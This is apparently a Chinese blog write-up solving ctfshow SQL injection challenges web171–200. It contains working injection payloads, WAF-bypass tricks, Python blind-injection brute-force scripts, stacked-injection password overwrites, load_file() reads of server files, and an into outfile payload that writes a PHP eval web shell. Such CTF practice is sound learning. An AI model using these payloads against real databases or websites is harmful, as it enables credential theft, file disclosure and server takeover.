SQL注入ctfshow

说在前面

回来复习复习,练习写脚本,温故知新嘛,最近学习感触也挺深的,到时候打算写个总结,MySQL要研究的东西还是很多的,同时实验室好多师傅也有来问我的,就想着回来再整理一下

web171

1' or 1=1--+

id='1' or 1=1--+'limit 1;

web172

万能密码不行了

去查表

1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()--+

直接上最后的

1' union select password,2,3 from ctfshow_user2--+

web173

不能返回flag,把flag给ban了

可以用编码绕过

base64

0' union select 1,to_base64(password),3 from ctfshow_user3 %23

注意是to_base64哦

hex

0' union select 1,hex(password),3 from ctfshow_user3 %23

逆着读也OK

0' union select reverse(password),2,3 from ctfshow_user3%23

截断方法也可以

0' union select substr(password,2),2,3 from ctfshow_user3%23

web174

$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
 if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

加了个不准返回数字,用replace即可

1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'A'),2,'B'),3,'C'),4,'D'),5,'E'),6,'F'),7,'G'),8,'H'),9,'I'),0,'J'),'b' from ctfshow_user4 where username='flag' %23

替换脚本

# 这是你拿到的被替换后的flag
replaced_flag = "JDGdbbJf-cdDH-DDcF-acHJ-GFCDeCAGHAeB"

# 建立映射表
mapping = {
'A': '1',
'B': '2',
'C': '3',
'D': '4',
'E': '5',
'F': '6',
'G': '7',
'H': '8',
'I': '9',
'J': '0'
}

# 还原
original_flag = ''.join(mapping.get(c, c) for c in replaced_flag)
print(original_flag)

web175

$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

ASCII码表范围内的字符都显示不出来了

可以用into outfile往里面写马

也可以打包出来

?id=1' union select 1,'<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php'+--+
1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

法二:

盲注





web176

开始过滤了

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

fuzz过滤了select,大写绕过

1' union SELECT database(),2,3--+
1' union SELECT password,2,3 from ctfshow_user--+

也可以直接用万能密码

1' or 1=1--+

web177

过滤了空格

可以用/**/,%0a,%0c,%09,%a0等绕过

1'/**/union/**/select/**/password,2,3/**/from/**/ctfshow_user%23

web178

绕过空格

-1'%09union%09select%091,2,password%09from%09ctfshow_user%23

web179

绕过空格

-1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

web180

过滤了#和–,用’1’=’1来闭合后边

union select 1, 2, group_concat(password) from ctfshow_user where '1'='1

web181

MySQL运算符优先级从高到低

优先级运算符说明
1BINARY, COLLATE字符集转换或比较
2- (负号), ~ (按位取反), ! (逻辑非), + (正号)一元运算符
3*, /, DIV, %, MOD乘、除、整除、取余
4+, -加、减
5<<, >>位移
6&按位与
7^按位异或
8|
9=, <=>, >=, >, <=, <, <=>, !=, <>, IS, IS NOT, IN, LIKE, REGEXP, BETWEEN, CASE比较操作和逻辑测试
10NOT逻辑非
11AND, &&逻辑与
12XOR逻辑异或
13OR, `
14= (赋值符号,仅用于 SET 语句中)赋值

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

直接让他显示flag

-1'||username='flag

逻辑表达式的“或”短路

  • 如果 id = '-1'false,但 username = 'flag'true,整个 WHERE 条件仍为 true

注入点在字符串拼接中,攻击者通过提前闭合原始语句中的引号并追加自己的逻辑条件

web182

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

对flag进行了过滤

使用模糊匹配进行绕过

1'||(username)regexp'f
-1'||(username)like'fla_
-1'||(username)like'fla_%

like

like查询俩模式:_%

_:表示匹配单个字符

%:匹配任意字符

SELECT * FROM 表名 WHERE 列名 LIKE '匹配模式';
通配符说明示例
%匹配任意数量的字符(包括0个)'A%':以 A 开头
_匹配单个任意字符'A_':以 A 开头,后跟任意一个字符
[]匹配括号内任意一个字符(SQL Server专用)'[ab]%':以 a 或 b 开头
[^]匹配不在括号中的字符(SQL Server专用)'[^a]%':不以 a 开头

rlike和regexp

REGEXP 是 SQL 中的正则匹配运算符

SELECT * FROM 表名 WHERE 列名 RLIKE '正则表达式';
-- 或者
SELECT * FROM 表名 WHERE 列名 REGEXP '正则表达式';
正则说明
.任意单个字符
*匹配前一个字符 0 次或多次
+匹配前一个字符 1 次或多次
?匹配前一个字符 0 次或 1 次
^匹配字符串开头
$匹配字符串结尾
[abc]匹配 a、b 或 c 中的任一个
[a-z]匹配任意小写字母
[^abc]不匹配 a、b、c
|

狗哥的文章那看到了还有in和strcmp()使用方法

in

相当于就是等号被 过滤的时候可以用in替代等号

select * from sheet1 where 用户名="admin" and substr(user(),1,1) ='r'
可以替换为
select * from sheet1 where 用户名="admin" and substr(user(),1,1) in ('r')

strcmp()

在 MySQL 中,strcmp(str1, str2) 是一个字符串比较函数,用于比较两个字符串的大小关系

其返回值有三种

返回值含义
0str1str2 完全相等
< 0str1 小于 str2(按字典序)
> 0str1 大于 str2

其中举个例子

SELECT * FROM users WHERE strcmp(username, 'admin') = 0;
等价于
SELECT * FROM users WHERE username = 'admin';

例子

select * from sheet1 where 用户名="admin" and strcmp(ascii(substr(database(),1,1)),116)

做了个判断,相当于是

web183

//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

布尔盲注,看user_conunt回显1还是0

测试的语句

tableName=(ctfshow_user)where(pass)regexp('ctfshow{813ft')

我写的对应的小脚本:

import requests
url = 'http://89ddf549-8f15-4480-8bb9-fd0c8c697679.challenge.ctf.show/select-waf.php'
dict= '1234567890qwertyuiopasdfghjklzxcvbnm{}-'
flag = ''

for i in range(1, 45):
for j in dict:
payload = {
'tableName': f"(ctfshow_user)where(pass)regexp('^ctfshow{flag + j}')"
}
res = requests.post(url, data=payload)
if 'user_count = 1' in res.text:
flag += j
print(f"[+] flag: {flag}")
break

等号也过滤了还有or,先传ctfshow_user查询会看到有22条记录,一条数据

空格过滤了用括号可以替代,等号过滤了可以用like或者regexp,但是不区分大小写

正则注入,若匹配则返回1,不匹配返回0

用like也可以的

稍微改一下就可以,这边我改好了

import requests
url = 'http://89ddf549-8f15-4480-8bb9-fd0c8c697679.challenge.ctf.show/select-waf.php'
dict= '1234567890qwertyuiopasdfghjklzxcvbnm{}-'
flag = ''

for i in range(1, 45):
for j in dict:
payload = {
'tableName': f"(ctfshow_user)where(pass)like'ctfshow{flag+j}%'"
}
res = requests.post(url, data=payload)
if 'user_count = 1' in res.text:
flag += j
print(f"[+] flag: {flag}")
break

web184

查询语句

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";

逻辑返回

//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

看着也是盲注,过滤了引号,然后过滤了where可以用having替代,引号可以用十六进制绕过

利用group by分组,对查询结果分组

部分含义
SELECT COUNT(*)查询每个分组的记录数量
FROM ctfshow_user表名是 ctfshow_user
GROUP BY passpass 字段的不同值进行分组
HAVING pass LIKE 0x63746673686f777b25对分组结果筛选,仅保留 pass 值匹配该十六进制的记录

对脚本改来改去,最后那个完成怎么也弄不出来,到_就停,要自己修改

import requests

url = "http://51e55b80-cfbd-4aaf-8a97-1d43e03d1c40.challenge.ctf.show/select-waf.php"
charset = "0123456789abcdefghijklmnopqrstuvwxyz-_{}"
flag = "ctfshow{"

for i in range(1, 50):
for j in charset:
guess = flag + j + '%'
hex_guess = ''.join([hex(ord(c))[2:] for c in guess])
payload = f"ctfshow_user group by pass having pass like 0x{hex_guess}"
data = {'tableName': payload}

try:
r = requests.post(url, data=data, timeout=5)
except requests.exceptions.RequestException:
print(f"[!] 网络请求失败,跳过 {j}")
continue

if "$user_count = 1;" in r.text:
flag += j
print(f"[+] 当前进度:{flag}")
break

if '}' in flag:
print(f"[+] 爆破完成:{flag}")
break

看包神的连接绕过,又去翻了一下官方的文档

自己也来搞一搞,其中join就是

类型描述
INNER JOIN返回两个表中满足连接条件的记录(交集)。
LEFT JOIN返回左表中的所有记录,即使右表中没有匹配的记录(保留左表)。
RIGHT JOIN返回右表中的所有记录,即使左表中没有匹配的记录(保留右表)。
FULL OUTER JOIN返回两个表的并集,包含匹配和不匹配的记录。
CROSS JOIN返回两个表的笛卡尔积,每条左表记录与每条右表记录进行组合。
SELF JOIN将一个表与自身连接。
NATURAL JOIN基于同名字段自动匹配连接的表。

用于把来自两个或多个表的行结合起来,我也来一个图就好了

img
inner join的语法:
SELECT column1, column2, ...
FROM table1
JOIN table2 ON condition;

参数说明:
column1, column2, ...:要选择的字段名称,可以为多个字段。如果不指定字段名称,则会选择所有字段
table1:要连接的第一个表
table2:要连接的第二个表
condition:连接条件,用于指定连接方式

内连接

select count(*) from ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b25;
部分解释
SELECT COUNT(*)查询结果的总行数
FROM ctfshow_user a定义表 a,是 ctfshow_user
INNER JOIN ctfshow_user b把同一张表再命名为 b,做自连接
ON b.pass LIKE 0x63746673686f777b25连接条件:b 表中的 pass 字段满足指定匹配条件

写过的脚本修改一下语句就可以用

import requests

url = "http://c51545f0-eaa4-4a7b-97e9-e43bfb996773.challenge.ctf.show/select-waf.php"
charset = "0123456789abcdefghijklmnopqrstuvwxyz-_{}"
flag = "ctfshow{"

for i in range(1, 50):
for j in charset:
guess = flag + j + '%'
hex_guess = ''.join([hex(ord(c))[2:] for c in guess])
payload = f"ctfshow_user a inner join ctfshow_user b on b.pass like 0x{hex_guess}"
data = {'tableName': payload}

try:
r = requests.post(url, data=data, timeout=5)
except requests.exceptions.RequestException:
print(f"[!] 网络请求失败,跳过 {j}")
continue

if "$user_count = 22;" in r.text:
flag += j
print(f"[+] 当前进度:{flag}")
break

if '}' in flag:
print(f"[+] 爆破完成:{flag}")
break

但是注意返回记录测试是返回的22条记录

web185

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

查询语句

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";

利用这个

char(true + true + true) ≈ char(1 + 1 + 1) = char(3)

concat(char(...), char(...), ...) 可以拼接字符串

其中这样做拼接就可以构造出字符串,可自定义def进行构造payload进行盲注爆破,自己一点点写出了脚本,哎,感觉自己写的爆的好慢啊!

import requests

url = 'http://3684b802-0436-4002-8026-29bf0009fa5b.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
target = 'ctfshow{'
dict='1234567890qwertyuiopasdfghjklzxcvbnm{-}'

def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num

def createStrNum(s):
return ','.join([f'chr({createNum(ord(c))})' for c in s])

for i in range(1,50):
for j in dict:
exp=payload.format(createStrNum(target+j+'%'))
r = requests.post(url, data={'tableName': exp})
if "$user_count = 0;" not in r.text:
target += j
print(f"[+]当前进度:{target}")
break
if j == '}':
print(f"[+] Flag 完成:{target}")
exit()
break

web186

上面的脚本仍然使用,嘻嘻

但是不知道为啥,最后我多跑出来几位,但是无影响

web187

<?php
$a = md5('ffifdyop',true);
echo $a;

'or'6�]��!r,��b
admin/ffifdyop

flag在api的响应中

至于原理有空再写上,偷个小懒

web188

输入的密码经过intval函数后弱等于查询出的密码就可,所以如果真正的密码是字母我们就能用0等于成功,而用户名我们也可以用0,因为username一般是字符串,在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,所以where username = 0会把所有数据都查出来

0
0

flag在响应里

web189

flag在api/index.php文件中

返回逻辑

  //用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

load_file()

load_file() 是 MySQL 中的一个函数,用于读取服务器上的文件(注意不是客户端的)它能够从指定的文件路径读取文件内容,并将其作为字符串返回

username/password输入1/0显示查询失败

username/password输入0/0显示密码错误

说明存在布尔回显

import requests

url = 'http://7bfa8664-a9df-4650-821c-075aacd3cc82.challenge.ctf.show/api/'
flag = 'ctfshow{'
dict = '1234567890qwertyuiopasdfghjklzxcvbnm-}_'

for i in range(1, 50):
for j in dict:
payload = "if((load_file('/var/www/html/api/index.php')regexp('{0}')),1,0)".format(flag + j)
data = {
'username': payload,
'password': 0
}
r = requests.post(url, data)

if "\\u67e5\\u8be2\\u5931\\u8d25" in r.text:
flag += j
print(f"[+] Found: {flag}")
break

if j == '}' in r.text:
print("[+] Flag end detected.")
exit()

web190

查询语句

 $sql = "select pass from ctfshow_user where username = '{$username}'";

密码依然是和数字弱类型比较

返回逻辑

 //密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪

盲注

import requests

url = 'http://e83349e2-1193-487b-acb2-3991bd4e9025.challenge.ctf.show/api/'
i = 0
flag = ''

while True:
i += 1
head = 32
tail = 127

while head + 1 < tail:
mid = (head + tail) // 2

#payload ="admin'and (ascii(substr((select database()),{0},1))<{1})#".format(i,mid)
# payload = "admin'and (ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{0},1))<{1})#".format(
# i, mid)
# payload = "admin'and (ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))<{1})#".format(
# i, mid)
payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{0},1))<{1})#".format( i, mid)
data = {
'username': payload,
'password': 1
}

r = requests.post(url, data=data)

if '\\u5bc6\\u7801\\u9519\\u8bef' in r.text:
tail = mid
else:
head = mid

if head != 32:
flag += chr(head)
print(f"[+] {flag}")
else:
break

web191

把ascii禁了,用ord即可,上题脚本稍微一改就可以

import requests

url = 'http://e83349e2-1193-487b-acb2-3991bd4e9025.challenge.ctf.show/api/'
i = 0
flag = ''

while True:
i += 1
head = 32
tail = 127

while head + 1 < tail:
mid = (head + tail) // 2

#payload ="admin'and (ord(substr((select database()),{0},1))<{1})#".format(i,mid)
# payload = "admin'and (ord(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{0},1))<{1})#".format(
# i, mid)
# payload = "admin'and (ord(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))<{1})#".format(
# i, mid)
payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{0},1))<{1})#".format( i, mid)
data = {
'username': payload,
'password': 1
}

r = requests.post(url, data=data)

if '\\u5bc6\\u7801\\u9519\\u8bef' in r.text:
tail = mid
else:
head = mid

if head != 32:
flag += chr(head)
print(f"[+] {flag}")
else:
break

web192

if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

ord也被禁了,那就正常爆破就可

import requests

url = "http://5e7a6c93-ddab-4786-b33d-cdb4d151afdb.challenge.ctf.show/api/"

flag = "ctfshow{"
dicts = "-}0123456789abcdefghijklmnopqrstuvwxyz"

for i in range(9,50):
for j in dicts:
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查字段
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
# 查flag
payload = "select group_concat(f1ag) from ctfshow_fl0g"
data = {
'username': f"admin' and if(substr(({payload}),{i},1)='{j}', 1, 0)#",
'password': '1'
}

try:
# print(data)
r = requests.post(url, data=data)
r.raise_for_status()
if "密码错误" == r.json()['msg']:
flag += j
print(f"[+]进度:{flag}")
break

except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
break

print(f"[+]flag: {flag}")

web193/194

ord也被ban了,可以用mid,left,regexp或者right

REGEXP版

import requests

url = 'http://3172064b-10e7-4669-b36b-0ccb574af43a.challenge.ctf.show/api/'
target = ''

for i in range(100):
for j in 'abcdefghijklmnopqrstuvwxyz0123456789-,{}_':
# payload="admin'and (select database()) REGEXP '^{}'#".format(target+j)
# payload = "admin'and (select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') REGEXP '^{}'#".format(target + j)
# payload = "admin'and (select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') REGEXP '^{}'#".format(target + j)
payload = "admin'and (select f1ag from ctfshow_flxg) REGEXP '^{}'#".format(target + j)

data = {
'username': payload,
'password': 0
}
r = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
target += j
print(target)
break

web195

堆叠注入,直接打就可以

username:0;update(ctfshow_user)set`pass`=1;
password:1

堆叠修改一下密码即可

web196

仍然是堆叠

1;select(1)

解释一下

判断条件满足的是$row[0]==$password,row 存储的是结果集中的一行数据,row[0]就是这一行的第一个数据。既然可以进行堆叠注入,$row会逐一循环获取每个结果集。

那么输入username为1;select(1),password为1时他会执行执行 SELECT(1); 后,数据库会返回一个结果集,其中包含一行一列,值为 1。当row 获取到第二个查询语句 select(1) 的结果集时,即可获得row[0]=1,那么password输入1就可以满足条件判断,同样输入其他密码也可以

就是相当于你对密码是可控的了,也就实现了强制登陆

web197–200

username=1;show tables;&password=ctfshow_user

show tables的结果就是ctfshow_user,所以密码一样就行,至于原理和上面的一样

后面的过几天回拼接上的

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇